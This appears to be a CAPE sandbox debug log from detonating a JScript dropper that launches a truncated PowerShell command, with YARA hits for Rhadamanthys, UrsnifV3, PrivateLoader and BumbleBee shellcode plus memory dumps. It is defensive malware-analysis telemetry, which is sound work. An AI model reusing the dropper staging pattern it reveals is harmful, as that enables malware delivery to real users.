2025-12-08 08:32:09,781 [lib.api.process] INFO: Injected into 32-bit <Process 352 wscript.exe>
2025-12-08 08:32:09,781 [root] DEBUG: 3016: DLL loaded at 0x6FC90000: C:\Windows\system32\sfc (0x3000 bytes).
2025-12-08 08:32:09,796 [root] DEBUG: 3016: DLL loaded at 0x6CC50000: C:\Windows\system32\sfc_os (0xd000 bytes).
2025-12-08 08:32:09,812 [root] DEBUG: 352: Python path set to 'C:\Python38'.
2025-12-08 08:32:09,812 [root] DEBUG: 352: Dropped file limit defaulting to 100.
2025-12-08 08:32:09,812 [root] DEBUG: 352: wscript hook set enabled
2025-12-08 08:32:09,812 [root] INFO: Disabling sleep skipping.
2025-12-08 08:32:09,812 [root] DEBUG: 352: YaraInit: Compiled rules loaded from existing file C:\tmpu4t32fjj\data\yara\capemon.yac
2025-12-08 08:32:09,812 [root] DEBUG: 352: YaraScan: Scanning 0x00830000, size 0x253d4
2025-12-08 08:32:09,812 [root] DEBUG: 352: Monitor initialised: 32-bit capemon loaded in process 352 at 0x6c9a0000, thread 2492, image base 0x830000, stack from 0x2e6000-0x2f0000
2025-12-08 08:32:09,812 [root] DEBUG: 352: Commandline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\FgCHe.js"
2025-12-08 08:32:09,812 [root] DEBUG: 3016: DLL loaded at 0x5F430000: C:\Program Files\Microsoft Office\root\Office16\OSFSHARED (0x5d000 bytes).
2025-12-08 08:32:09,812 [root] DEBUG: 352: GetAddressByYara: ModuleBase 0x774E0000 FunctionName LdrpCallInitRoutine
2025-12-08 08:32:09,828 [root] DEBUG: 352: hook_api: LdrpCallInitRoutine export address 0x77538810 obtained via GetFunctionAddress
2025-12-08 08:32:09,828 [root] DEBUG: 352: hook_api: Warning - CreateRemoteThreadEx export address 0x764AF98F differs from GetProcAddress -> 0x754EBB18 (KERNELBASE.dll::0xbb18)
2025-12-08 08:32:09,828 [root] DEBUG: 352: hook_api: Warning - UpdateProcThreadAttribute export address 0x764B020F differs from GetProcAddress -> 0x754F43FB (KERNELBASE.dll::0x143fb)
2025-12-08 08:32:09,828 [root] DEBUG: 3016: DLL loaded at 0x5F3E0000: C:\Program Files\Microsoft Office\root\Office16\MSOHEV (0x48000 bytes).
2025-12-08 08:32:09,828 [root] WARNING: b'Unable to place hook on GetCommandLineA'
2025-12-08 08:32:09,828 [root] DEBUG: 352: set_hooks: Unable to hook GetCommandLineA
2025-12-08 08:32:09,828 [root] WARNING: b'Unable to place hook on GetCommandLineW'
2025-12-08 08:32:09,828 [root] DEBUG: 352: set_hooks: Unable to hook GetCommandLineW
2025-12-08 08:32:09,828 [root] DEBUG: 352: Hooked 611 out of 613 functions
2025-12-08 08:32:09,843 [root] DEBUG: 352: WoW64 not detected.
2025-12-08 08:32:09,843 [root] DEBUG: 1236: api-rate-cap: memcpy hook disabled due to rate
2025-12-08 08:32:09,843 [root] DEBUG: 1236: api-rate-cap: memcpy hook disabled due to rate
2025-12-08 08:32:09,843 [root] DEBUG: 1236: api-rate-cap: memcpy hook disabled due to rate
2025-12-08 08:32:09,843 [root] INFO: Loaded monitor into process with pid 352
2025-12-08 08:32:09,843 [root] DEBUG: 352: caller_dispatch: Added region at 0x00830000 to tracked regions list (kernel32::GetSystemTimeAsFileTime returns to 0x00833DA7, thread 2492).
2025-12-08 08:32:09,875 [root] DEBUG: 352: YaraScan: Scanning 0x00830000, size 0x253d4
2025-12-08 08:32:09,921 [root] DEBUG: 352: ProcessImageBase: Main module image at 0x00830000 unmodified (entropy change 0.000000e+00)
2025-12-08 08:32:09,937 [root] DEBUG: 352: DLL loaded at 0x753E0000: C:\Windows\System32\CRYPTBASE (0xc000 bytes).
2025-12-08 08:32:09,937 [root] DEBUG: 352: DLL loaded at 0x74170000: C:\Windows\system32\uxtheme (0x40000 bytes).
2025-12-08 08:32:09,953 [root] DEBUG: 352: DLL loaded at 0x753F0000: C:\Windows\System32\SXS (0x5f000 bytes).
2025-12-08 08:32:09,953 [root] DEBUG: 352: DLL loaded at 0x73E80000: C:\Windows\System32\dwmapi (0x13000 bytes).
2025-12-08 08:32:09,953 [root] DEBUG: 352: DLL loaded at 0x76100000: C:\Windows\system32\CLBCatQ (0x83000 bytes).
2025-12-08 08:32:09,968 [root] DEBUG: 352: DLL loaded at 0x5F330000: C:\Windows\System32\jscript (0xa6000 bytes).
2025-12-08 08:32:09,968 [root] DEBUG: 352: DLL loaded at 0x75630000: C:\Windows\system32\WINTRUST (0x2f000 bytes).
2025-12-08 08:32:09,968 [root] DEBUG: 352: DLL loaded at 0x74ED0000: C:\Windows\System32\CRYPTSP (0x16000 bytes).
2025-12-08 08:32:09,968 [root] DEBUG: 352: DLL loaded at 0x74C60000: C:\Windows\system32\rsaenh (0x3b000 bytes).
2025-12-08 08:32:09,984 [root] DEBUG: 352: DLL loaded at 0x6FC90000: C:\Windows\System32\MSISIP (0x8000 bytes).
2025-12-08 08:32:09,984 [root] DEBUG: 352: DLL loaded at 0x5F310000: C:\Windows\system32\wshext (0x16000 bytes).
2025-12-08 08:32:10,015 [root] DEBUG: 352: DLL loaded at 0x721D0000: C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\COMCTL32 (0x84000 bytes).
2025-12-08 08:32:10,015 [root] DEBUG: 1236: api-rate-cap: RegQueryValueExW hook disabled due to rate
2025-12-08 08:32:10,015 [root] DEBUG: 352: DLL loaded at 0x766D0000: C:\Windows\system32\SHELL32 (0xc4c000 bytes).
2025-12-08 08:32:10,031 [root] DEBUG: 1236: api-rate-cap: SHGetKnownFolderPath hook disabled due to rate
2025-12-08 08:32:10,046 [root] DEBUG: 352: DLL loaded at 0x5F2E0000: C:\Windows\system32\scrobj (0x2d000 bytes).
2025-12-08 08:32:10,062 [root] DEBUG: 352: DLL loaded at 0x75450000: C:\Windows\System32\RpcRtRemote (0xe000 bytes).
2025-12-08 08:32:10,062 [root] DEBUG: 352: DLL loaded at 0x5F670000: C:\Windows\system32\comsvcs (0x136000 bytes).
2025-12-08 08:32:10,062 [root] DEBUG: 352: DLL loaded at 0x73850000: C:\Windows\system32\ATL (0x14000 bytes).
2025-12-08 08:32:10,062 [root] DEBUG: 352: DLL loaded at 0x5F650000: C:\Windows\System32\mtxoci (0x20000 bytes).
2025-12-08 08:32:10,078 [root] DEBUG: 352: DLL loaded at 0x742B0000: C:\Windows\System32\PROPSYS (0xf5000 bytes).
2025-12-08 08:32:10,093 [root] DEBUG: 352: DLL loaded at 0x743F0000: C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\comctl32 (0x19e000 bytes).
2025-12-08 08:32:10,093 [root] DEBUG: 1236: OpenProcessHandler: Injection info created for process 3016, handle 0xaa4: C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE
2025-12-08 08:32:10,093 [root] DEBUG: 352: DLL loaded at 0x75390000: C:\Windows\System32\apphelp (0x4c000 bytes).
2025-12-08 08:32:10,093 [root] DEBUG: 352: DLL loaded at 0x6BC50000: C:\Windows\System32\ieframe (0xc42000 bytes).
2025-12-08 08:32:10,093 [root] DEBUG: 1236: api-rate-cap: GetSystemMetrics hook disabled due to rate
2025-12-08 08:32:10,109 [root] DEBUG: 352: DLL loaded at 0x755C0000: C:\Windows\system32\api-ms-win-downlevel-advapi32-l1-1-0 (0x5000 bytes).
2025-12-08 08:32:10,109 [root] DEBUG: 352: DLL loaded at 0x757E0000: C:\Windows\system32\api-ms-win-downlevel-shlwapi-l1-1-0 (0x4000 bytes).
2025-12-08 08:32:10,109 [root] DEBUG: 352: DLL loaded at 0x75610000: C:\Windows\system32\api-ms-win-downlevel-user32-l1-1-0 (0x4000 bytes).
2025-12-08 08:32:10,109 [root] DEBUG: 352: DLL loaded at 0x6FBD0000: C:\Windows\System32\api-ms-win-downlevel-shell32-l1-1-0 (0x4000 bytes).
2025-12-08 08:32:10,109 [root] DEBUG: 1236: api-rate-cap: FindNextFileW hook disabled due to rate
2025-12-08 08:32:10,109 [root] DEBUG: 352: DLL loaded at 0x75620000: C:\Windows\system32\api-ms-win-downlevel-version-l1-1-0 (0x4000 bytes).
2025-12-08 08:32:10,109 [root] DEBUG: 352: DLL loaded at 0x75600000: C:\Windows\system32\api-ms-win-downlevel-normaliz-l1-1-0 (0x3000 bytes).
2025-12-08 08:32:10,109 [root] DEBUG: 352: DLL loaded at 0x77630000: C:\Windows\system32\normaliz (0x3000 bytes).
2025-12-08 08:32:10,125 [root] DEBUG: 352: DLL loaded at 0x761B0000: C:\Windows\system32\iertutil (0x232000 bytes).
2025-12-08 08:32:10,125 [root] DEBUG: 352: api-rate-cap: RegQueryValueExW hook disabled due to rate
2025-12-08 08:32:10,156 [root] DEBUG: 3016: DLL loaded at 0x6F9F0000: C:\Windows\system32\WINSPOOL.DRV (0x51000 bytes).
2025-12-08 08:32:10,156 [root] DEBUG: 352: DLL loaded at 0x73A90000: C:\Windows\System32\ntmarta (0x21000 bytes).
2025-12-08 08:32:10,171 [root] DEBUG: 352: DLL loaded at 0x75810000: C:\Windows\system32\WLDAP32 (0x45000 bytes).
2025-12-08 08:32:10,171 [root] DEBUG: 352: DLL loaded at 0x754D0000: C:\Windows\system32\profapi (0xb000 bytes).
2025-12-08 08:32:10,171 [root] DEBUG: 352: DLL loaded at 0x75F60000: C:\Windows\system32\SETUPAPI (0x19d000 bytes).
2025-12-08 08:32:10,171 [root] DEBUG: 352: DLL loaded at 0x755D0000: C:\Windows\system32\CFGMGR32 (0x27000 bytes).
2025-12-08 08:32:10,171 [root] DEBUG: 352: DLL loaded at 0x757A0000: C:\Windows\system32\DEVOBJ (0x12000 bytes).
2025-12-08 08:32:10,187 [root] DEBUG: 352: DLL loaded at 0x75E10000: C:\Windows\system32\urlmon (0x14a000 bytes).
2025-12-08 08:32:10,187 [root] DEBUG: 352: DLL loaded at 0x75790000: C:\Windows\system32\api-ms-win-downlevel-ole32-l1-1-0 (0x4000 bytes).
2025-12-08 08:32:10,187 [root] DEBUG: 352: DLL loaded at 0x75920000: C:\Windows\system32\WININET (0x1e4000 bytes).
2025-12-08 08:32:10,187 [root] DEBUG: 352: DLL loaded at 0x757C0000: C:\Windows\system32\USERENV (0x17000 bytes).
2025-12-08 08:32:10,187 [root] DEBUG: 352: DLL loaded at 0x75350000: C:\Windows\System32\Secur32 (0x8000 bytes).
2025-12-08 08:32:10,203 [root] DEBUG: 352: CreateProcessHandler: Injection info set for new process 2884: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ImageBase: 0x00FB0000
2025-12-08 08:32:10,203 [root] INFO: Announced 32-bit process name: powershell.exe pid: 2884
2025-12-08 08:32:10,203 [lib.api.process] INFO: Monitor config for <Process 2884 powershell.exe>: C:\tmpu4t32fjj\dll\2884.ini
2025-12-08 08:32:10,203 [lib.api.process] INFO: 32-bit DLL to inject is C:\tmpu4t32fjj\dll\otcZiutY.dll, loader C:\tmpu4t32fjj\bin\jXABFjj.exe
2025-12-08 08:32:10,218 [root] DEBUG: Loader: Injecting process 2884 (thread 2900) with C:\tmpu4t32fjj\dll\otcZiutY.dll.
2025-12-08 08:32:10,218 [root] DEBUG: InjectDllViaIAT: Successfully patched IAT.
2025-12-08 08:32:10,218 [root] DEBUG: Successfully injected DLL C:\tmpu4t32fjj\dll\otcZiutY.dll.
2025-12-08 08:32:10,218 [lib.api.process] INFO: Injected into 32-bit <Process 2884 powershell.exe>
2025-12-08 08:32:10,218 [root] INFO: Announced 32-bit process name: powershell.exe pid: 2884
2025-12-08 08:32:10,218 [lib.api.process] INFO: Monitor config for <Process 2884 powershell.exe>: C:\tmpu4t32fjj\dll\2884.ini
2025-12-08 08:32:10,218 [lib.api.process] INFO: 32-bit DLL to inject is C:\tmpu4t32fjj\dll\otcZiutY.dll, loader C:\tmpu4t32fjj\bin\jXABFjj.exe
2025-12-08 08:32:10,218 [root] DEBUG: Loader: Injecting process 2884 (thread 2900) with C:\tmpu4t32fjj\dll\otcZiutY.dll.
2025-12-08 08:32:10,218 [root] DEBUG: InjectDllViaIAT: This image has already been patched.
2025-12-08 08:32:10,218 [root] DEBUG: Successfully injected DLL C:\tmpu4t32fjj\dll\otcZiutY.dll.
2025-12-08 08:32:10,218 [lib.api.process] INFO: Injected into 32-bit <Process 2884 powershell.exe>
2025-12-08 08:32:10,218 [root] DEBUG: 352: DLL loaded at 0x6CC50000: C:\Windows\system32\sfc (0x3000 bytes).
2025-12-08 08:32:10,218 [root] DEBUG: 352: DLL loaded at 0x6C8A0000: C:\Windows\System32\sfc_os (0xd000 bytes).
2025-12-08 08:32:10,249 [root] DEBUG: 352: NtTerminateProcess hook: Attempting to dump process 352
2025-12-08 08:32:10,249 [root] DEBUG: 352: DoProcessDump: Skipping process dump as code is identical on disk.
2025-12-08 08:32:10,296 [root] INFO: Process with pid 352 has terminated
2025-12-08 08:32:10,359 [root] DEBUG: 2884: Python path set to 'C:\Python38'.
2025-12-08 08:32:10,359 [root] DEBUG: 2884: Dropped file limit defaulting to 100.
2025-12-08 08:32:10,359 [root] INFO: Disabling sleep skipping.
2025-12-08 08:32:10,359 [root] DEBUG: 2884: YaraInit: Compiled rules loaded from existing file C:\tmpu4t32fjj\data\yara\capemon.yac
2025-12-08 08:32:10,359 [root] DEBUG: 2884: YaraScan: Scanning 0x00FB0000, size 0x6a0b6
2025-12-08 08:32:10,359 [root] DEBUG: 2884: Monitor initialised: 32-bit capemon loaded in process 2884 at 0x6c9a0000, thread 2900, image base 0xfb0000, stack from 0x106000-0x110000
2025-12-08 08:32:10,359 [root] DEBUG: 2884: Commandline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $ErrorActionPreference = 'SilentlyContinue';$t56fg = [Enum]::ToObject([System.Net.SecurityProtocolType], 3072);[System.Net.ServicePointManager]::SecurityProtocol = $t56fg;$w
2025-12-08 08:32:10,375 [root] DEBUG: 2884: GetAddressByYara: ModuleBase 0x774E0000 FunctionName LdrpCallInitRoutine
2025-12-08 08:32:10,375 [root] DEBUG: 2884: hook_api: LdrpCallInitRoutine export address 0x77538810 obtained via GetFunctionAddress
2025-12-08 08:32:10,390 [root] DEBUG: 2884: hook_api: Warning - CreateRemoteThreadEx export address 0x764AF98F differs from GetProcAddress -> 0x754EBB18 (KERNELBASE.dll::0xbb18)
2025-12-08 08:32:10,390 [root] DEBUG: 2884: hook_api: Warning - UpdateProcThreadAttribute export address 0x764B020F differs from GetProcAddress -> 0x754F43FB (KERNELBASE.dll::0x143fb)
2025-12-08 08:32:10,390 [root] WARNING: b'Unable to place hook on GetCommandLineA'
2025-12-08 08:32:10,390 [root] DEBUG: 2884: set_hooks: Unable to hook GetCommandLineA
2025-12-08 08:32:10,390 [root] WARNING: b'Unable to place hook on GetCommandLineW'
2025-12-08 08:32:10,390 [root] DEBUG: 2884: set_hooks: Unable to hook GetCommandLineW
2025-12-08 08:32:10,390 [root] DEBUG: 2884: Hooked 611 out of 613 functions
2025-12-08 08:32:10,390 [root] DEBUG: 2884: WoW64 not detected.
2025-12-08 08:32:10,406 [root] INFO: Loaded monitor into process with pid 2884
2025-12-08 08:32:10,406 [root] DEBUG: 2884: caller_dispatch: Added region at 0x00FB0000 to tracked regions list (kernel32::GetSystemTimeAsFileTime returns to 0x00FBD994, thread 2900).
2025-12-08 08:32:10,406 [root] DEBUG: 2884: YaraScan: Scanning 0x00FB0000, size 0x6a0b6
2025-12-08 08:32:10,421 [root] DEBUG: 2884: ProcessImageBase: Main module image at 0x00FB0000 unmodified (entropy change 0.000000e+00)
2025-12-08 08:32:10,421 [root] DEBUG: 2884: GetEntropy: Error - Supplied address inaccessible: 0x000D0000
2025-12-08 08:32:10,421 [root] DEBUG: 2884: AddTrackedRegion: GetEntropy failed.
2025-12-08 08:32:10,421 [root] DEBUG: 2884: caller_dispatch: Added region at 0x000D0000 to tracked regions list (kernel32::LoadLibraryExW returns to 0x0010F830, thread 2900).
2025-12-08 08:32:10,421 [root] DEBUG: 2884: ReverseScanForNonZero: Error - Supplied size zero.
2025-12-08 08:32:10,421 [lib.common.results] INFO: Uploading file C:\tltaQBTn\CAPE\2884_81930811012781122025 to CAPE\6c8f2784effc1fe9ac5839aee953f469410914a65955748653f2b0cd3b7b7b67; Size is 3236; Max size: 100000000
2025-12-08 08:32:10,437 [root] DEBUG: 2884: DumpMemory: Payload successfully created: C:\tltaQBTn\CAPE\2884_81930811012781122025 (size 3236 bytes)
2025-12-08 08:32:10,437 [root] DEBUG: 2884: DumpRegion: Dumped region at 0x0010F000, size 4096 bytes.
2025-12-08 08:32:10,437 [root] DEBUG: 2884: ProcessTrackedRegion: Dumped region at 0x0010F000.
2025-12-08 08:32:10,437 [root] DEBUG: 2884: ReverseScanForNonZero: Error - Supplied address inaccessible: 0x000D0FFF
2025-12-08 08:32:10,453 [root] DEBUG: 2884: YaraScan: Nothing to scan at 0x0010F000!
2025-12-08 08:32:10,453 [root] DEBUG: 2884: caller_dispatch: Added region at 0x00560000 to tracked regions list (kernel32::FindFirstFileExW returns to 0x0057005C, thread 2900).
2025-12-08 08:32:10,453 [root] DEBUG: 2884: DumpPEsInRange: Scanning range 0x00560000 - 0x005C9FFF.
2025-12-08 08:32:10,453 [root] DEBUG: 2884: ScanForDisguisedPE: No PE image located in range 0x00560000-0x005C9FFF.
2025-12-08 08:32:10,453 [lib.common.results] INFO: Uploading file C:\tltaQBTn\CAPE\2884_107401771012781122025 to CAPE\15834f2bc47fe0e27dc9a95e8beb9cac388012aec65a5e198a97fe65befa6fb3; Size is 434175; Max size: 100000000
2025-12-08 08:32:10,453 [root] DEBUG: 2884: DumpMemory: Payload successfully created: C:\tltaQBTn\CAPE\2884_107401771012781122025 (size 434175 bytes)
2025-12-08 08:32:10,453 [root] DEBUG: 2884: DumpRegion: Dumped entire allocation from 0x00560000, size 434176 bytes.
2025-12-08 08:32:10,453 [root] DEBUG: 2884: ProcessTrackedRegion: Dumped region at 0x00560000.
2025-12-08 08:32:10,468 [root] DEBUG: 2884: YaraScan: Scanning 0x00560000, size 0x69fff
2025-12-08 08:32:10,468 [root] DEBUG: 2884: YaraScan hit: BumbleBeeShellcode
2025-12-08 08:32:10,468 [root] DEBUG: 2884: Added 'gdiplus' to coverage-modules list.
2025-12-08 08:32:10,468 [root] DEBUG: 2884: Config: ntdll write protection disabled.
2025-12-08 08:32:10,468 [root] DEBUG: 2884: YaraScan hit: PrivateLoader
2025-12-08 08:32:10,468 [root] DEBUG: 2884: YaraScan hit: Rhadamanthys
2025-12-08 08:32:10,468 [root] DEBUG: 2884: Config: bp0 set to 0x0000797D.
2025-12-08 08:32:10,484 [root] DEBUG: 2884: Config: Hit count for breakpoint 0 set to 1
2025-12-08 08:32:10,484 [root] DEBUG: 2884: Config: Action0 set to setdump:edx::ebx.
2025-12-08 08:32:10,484 [root] DEBUG: 2884: Config: bp1 set to 0x000079C8.
2025-12-08 08:32:10,484 [root] DEBUG: 2884: Config: Hit count for breakpoint 1 set to 1
2025-12-08 08:32:10,484 [root] DEBUG: 2884: Config: Action1 set to dump.
2025-12-08 08:32:10,484 [root] DEBUG: 2884: Config: Trace instruction count set to 0x0
2025-12-08 08:32:10,484 [root] DEBUG: 2884: Config: typestring set to Rhadamanthys Config
2025-12-08 08:32:10,500 [root] DEBUG: 2884: Config: ntdll write protection disabled.
2025-12-08 08:32:10,500 [root] DEBUG: 2884: SetInitialBreakpoints: Breakpoint 0 set on address 0x0056797D (RVA 0x797d, type 0, hit count 1, thread 2900)
2025-12-08 08:32:10,500 [root] DEBUG: 2884: SetInitialBreakpoints: Breakpoint 1 set on address 0x005679C8 (RVA 0x79c8, type 0, hit count 1, thread 2900)
2025-12-08 08:32:10,531 [root] DEBUG: 2884: YaraScan hit: UrsnifV3
2025-12-08 08:32:10,531 [root] DEBUG: 2884: Config: br0 set to 0x80d1 (break-on-return)
2025-12-08 08:32:10,531 [root] DEBUG: 2884: Config: Action1 set to dump:ebx::eax.
2025-12-08 08:32:10,546 [root] DEBUG: 2884: Config: Action2 set to dump:ebx::eax.
2025-12-08 08:32:10,546 [root] DEBUG: 2884: Config: Action3 set to dump:eax::ecx.
2025-12-08 08:32:10,546 [root] DEBUG: 2884: Config: typestring set to UrsnifV3 Config
2025-12-08 08:32:10,546 [root] DEBUG: 2884: Config: Trace instruction count set to 0x1
2025-12-08 08:32:10,546 [root] DEBUG: 2884: SetInitialBreakpoints: Breakpoint 0 set on address 0x0056797D (RVA 0x797d, type 0, hit count 1, thread 2900)
2025-12-08 08:32:10,546 [root] DEBUG: 2884: SetInitialBreakpoints: Breakpoint 1 set on address 0x005679C8 (RVA 0x79c8, type 0, hit count 1, thread 2900)
2025-12-08 08:32:10,546 [root] DEBUG: 2884: YaraScan hit: capemon
2025-12-08 08:32:10,546 [root] DEBUG: 2884: DLL loaded at 0x6C910000: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscoreei (0x8d000 bytes).
2025-12-08 08:32:10,546 [root] DEBUG: 2884: DLL loaded at 0x74960000: C:\Windows\system32\VERSION (0x9000 bytes).
2025-12-08 08:32:10,609 [root] DEBUG: 2884: DLL loaded at 0x5EC30000: C:\Windows\Microsoft.NET\Framework\v4.0.30319\clr (0x7b0000 bytes).
2025-12-08 08:32:10,625 [root] DEBUG: 2884: DLL loaded at 0x5EC10000: C:\Windows\system32\VCRUNTIME140_CLR0400 (0x14000 bytes).
2025-12-08 08:32:10,625 [root] DEBUG: 2884: DLL loaded at 0x5EB60000: C:\Windows\system32\ucrtbase_clr0400 (0xab000 bytes).
2025-12-08 08:32:10,640 [root] DEBUG: 2884: InitNewThreadBreakpoints: Breakpoints set for thread 3272 (handle 0x14c).
2025-12-08 08:32:10,640 [root] DEBUG: 2884: AllocationHandler: Adding allocation to tracked region list: 0x00193000, size: 0x1000.
2025-12-08 08:32:10,640 [root] DEBUG: 2884: GetEntropy: Error - Supplied address inaccessible: 0x00190000
2025-12-08 08:32:10,640 [root] DEBUG: 2884: AddTrackedRegion: GetEntropy failed.
2025-12-08 08:32:10,640 [root] DEBUG: 2884: InitNewThreadBreakpoints: Breakpoints set for thread 3416 (handle 0x1bc).
2025-12-08 08:32:10,656 [root] DEBUG: 2884: api-rate-cap: NtQueryPerformanceCounter hook disabled due to rate
2025-12-08 08:32:10,656 [root] DEBUG: 2884: InitNewThreadBreakpoints: Breakpoints set for thread 3452 (handle 0x1f0).
2025-12-08 08:32:10,796 [root] DEBUG: 2884: DLL loaded at 0x5D750000: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\75b341f10c9579cbe1059d18f6f3b27b\mscorlib.ni (0x140e000 bytes).
2025-12-08 08:32:10,828 [root] DEBUG: 556: OpenProcessHandler: Injection info created for process 3016, handle 0x3c8: C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE
2025-12-08 08:32:10,828 [root] DEBUG: 2884: AllocationHandler: Adding allocation to tracked region list: 0x00230000, size: 0x1000.
2025-12-08 08:32:10,828 [root] DEBUG: 2884: AddTrackedRegion: GetEntropy failed.
2025-12-08 08:32:10,828 [root] DEBUG: 2884: AllocationHandler: Processing previous tracked region at: 0x00190000.
2025-12-08 08:32:10,828 [root] DEBUG: 2884: DumpPEsInRange: Scanning range 0x00190000 - 0x00190015.
2025-12-08 08:32:10,828 [root] DEBUG: 2884: ScanForDisguisedPE: Size too small: 0x15 bytes
2025-12-08 08:32:10,859 [lib.common.results] INFO: Uploading file C:\tltaQBTn\CAPE\2884_243316081032081122025 to CAPE\14e76564d735e331e5a7e110f3471f02dd54896acc5bbba2e1c295d8827e661b; Size is 21; Max size: 100000000
2025-12-08 08:32:10,859 [root] DEBUG: 2884: DumpMemory: Payload successfully created: C:\tltaQBTn\CAPE\2884_243316081032081122025 (size 21 bytes)
2025-12-08 08:32:10,859 [root] DEBUG: 2884: DumpRegion: Dumped entire allocation from 0x00190000, size 4096 bytes.
2025-12-08 08:32:10,859 [root] DEBUG: 2884: ProcessTrackedRegion: Dumped region at 0x00190000.
2025-12-08 08:32:10,859 [root] DEBUG: 2884: YaraScan: Scanning 0x00190000, size 0x15
2025-12-08 08:32:10,859 [root] DEBUG: 2884: DLL loaded at 0x753E0000: C:\Windows\system32\CRYPTBASE (0xc000 bytes).
2025-12-08 08:32:10,859 [root] DEBUG: 2884: AllocationHandler: Adding allocation to tracked region list: 0x04FA1000, size: 0x1000.
2025-12-08 08:32:10,859 [root] DEBUG: 2884: AllocationHandler: Processing previous tracked region at: 0x00230000.
2025-12-08 08:32:10,859 [root] DEBUG: 2884: DumpPEsInRange: Scanning range 0x00230000 - 0x002300DA.
2025-12-08 08:32:10,859 [root] DEBUG: 2884: ScanForDisguisedPE: Size too small: 0xda bytes
2025-12-08 08:32:10,875 [lib.common.results] INFO: Uploading file C:\tltaQBTn\CAPE\2884_86303731032081122025 to CAPE\40c15ef6ce05ab6e597573470d7198ce85a60e25003ac99b8e2f0c205276036e; Size is 218; Max size: 100000000
2025-12-08 08:32:10,890 [root] DEBUG: 2884: DumpMemory: Payload successfully created: C:\tltaQBTn\CAPE\2884_86303731032081122025 (size 218 bytes)
2025-12-08 08:32:10,890 [root] DEBUG: 2884: DumpRegion: Dumped entire allocation from 0x00230000, size 4096 bytes.
2025-12-08 08:32:10,890 [root] DEBUG: 2884: ProcessTrackedRegion: Dumped region at 0x00230000.
2025-12-08 08:32:10,890 [root] DEBUG: 2884: YaraScan: Scanning 0x00230000, size 0xda
2025-12-08 08:32:10,906 [root] DEBUG: 2884: AllocationHandler: Allocation already in tracked region list: 0x04FA0000.
2025-12-08 08:32:10,906 [root] DEBUG: 2884: AllocationHandler: Allocation already in tracked region list: 0x00190000.
2025-12-08 08:32:11,000 [root] DEBUG: 2884: DLL loaded at 0x5CCF0000: C:\Windows\assembly\NativeImages_v4.0.30319_32\System\2bef38851483abae82f1172c1aaa604c\System.ni (0xa55000 bytes).
2025-12-08 08:32:11,078 [root] DEBUG: 2884: DLL loaded at 0x5C4D0000: C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\9d04ce1d8a3042f50b54c7f9ccdb4068\System.Core.ni (0x818000 bytes).
2025-12-08 08:32:11,078 [root] DEBUG: 2884: DLL loaded at 0x5C440000: C:\Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Pb378ec07#\e94ba0e5a14690d49a13eeb2b37f10e5\Microsoft.PowerShell.ConsoleHost.ni (0x8f000 bytes).
2025-12-08 08:32:11,078 [root] DEBUG: 2884: DLL loaded at 0x74ED0000: C:\Windows\system32\CRYPTSP (0x16000 bytes).
2025-12-08 08:32:11,078 [root] DEBUG: 2884: DLL loaded at 0x74C60000: C:\Windows\system32\rsaenh (0x3b000 bytes).
2025-12-08 08:32:11,078 [root] DEBUG: 2884: AllocationHandler: Adding allocation to tracked region list: 0x0020B000, size: 0x1000.
2025-12-08 08:32:11,078 [root] DEBUG: 2884: GetEntropy: Error - Supplied address inaccessible: 0x00200000
2025-12-08 08:32:11,093 [root] DEBUG: 2884: AddTrackedRegion: GetEntropy failed.
2025-12-08 08:32:11,093 [root] DEBUG: 2884: AllocationHandler: Processing previous tracked region at: 0x04FA0000.
2025-12-08 08:32:11,109 [root] DEBUG: 2884: DumpPEsInRange: Scanning range 0x04FA0000 - 0x04FA2FFF.
2025-12-08 08:32:11,109 [root] DEBUG: 2884: ScanForDisguisedPE: No PE image located in range 0x04FA0000-0x04FA2FFF.
2025-12-08 08:32:11,125 [lib.common.results] INFO: Uploading file C:\tltaQBTn\CAPE\2884_15575011132081122025 to CAPE\9839ec05e07190ed1f313335c905396899c37e2f4fadd19fc60c82c2e796ce5a; Size is 12287; Max size: 100000000
2025-12-08 08:32:11,125 [root] DEBUG: 2884: DumpMemory: Payload successfully created: C:\tltaQBTn\CAPE\2884_15575011132081122025 (size 12287 bytes)
2025-12-08 08:32:11,125 [root] DEBUG: 2884: DumpRegion: Dumped entire allocation from 0x04FA0000, size 12288 bytes.
2025-12-08 08:32:11,125 [root] DEBUG: 2884: ProcessTrackedRegion: Dumped region at 0x04FA0000.
2025-12-08 08:32:11,125 [root] DEBUG: 2884: YaraScan: Scanning 0x04FA0000, size 0x2fff
2025-12-08 08:32:11,140 [root] DEBUG: 2884: AllocationHandler: Allocation already in tracked region list: 0x00200000.
2025-12-08 08:32:11,140 [root] DEBUG: 2884: AllocationHandler: Allocation already in tracked region list: 0x00200000.
2025-12-08 08:32:11,328 [root] DEBUG: 2884: DLL loaded at 0x5A950000: C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Manaa57fc8cc#\c37b79c19b7ae5c8d3b8c4f23fbff3dc\System.Management.Automation.ni (0x1ae3000 bytes).
2025-12-08 08:32:11,359 [root] DEBUG: 2884: InitNewThreadBreakpoints: Breakpoints set for thread 3656 (handle 0x244).
2025-12-08 08:32:11,375 [root] DEBUG: 2884: InitNewThreadBreakpoints: Breakpoints set for thread 3644 (handle 0x24c).
2025-12-08 08:32:11,375 [root] DEBUG: 2884: InitNewThreadBreakpoints: Breakpoints set for thread 3600 (handle 0x268).
2025-12-08 08:32:11,437 [root] DEBUG: 2884: set_hooks_by_export_directory: Hooked 0 out of 613 functions
2025-12-08 08:32:11,437 [root] DEBUG: 2884: DLL loaded at 0x5A930000: C:\Windows\Microsoft.NET\Framework\v4.0.30319\nlssorting (0x13000 bytes).
2025-12-08 08:32:11,453 [root] DEBUG: 2884: DLL loaded at 0x77640000: C:\Windows\system32\psapi (0x5000 bytes).
2025-12-08 08:32:11,453 [root] DEBUG: 2884: DLL loaded at 0x766D0000: C:\Windows\system32\shell32 (0xc4c000 bytes).
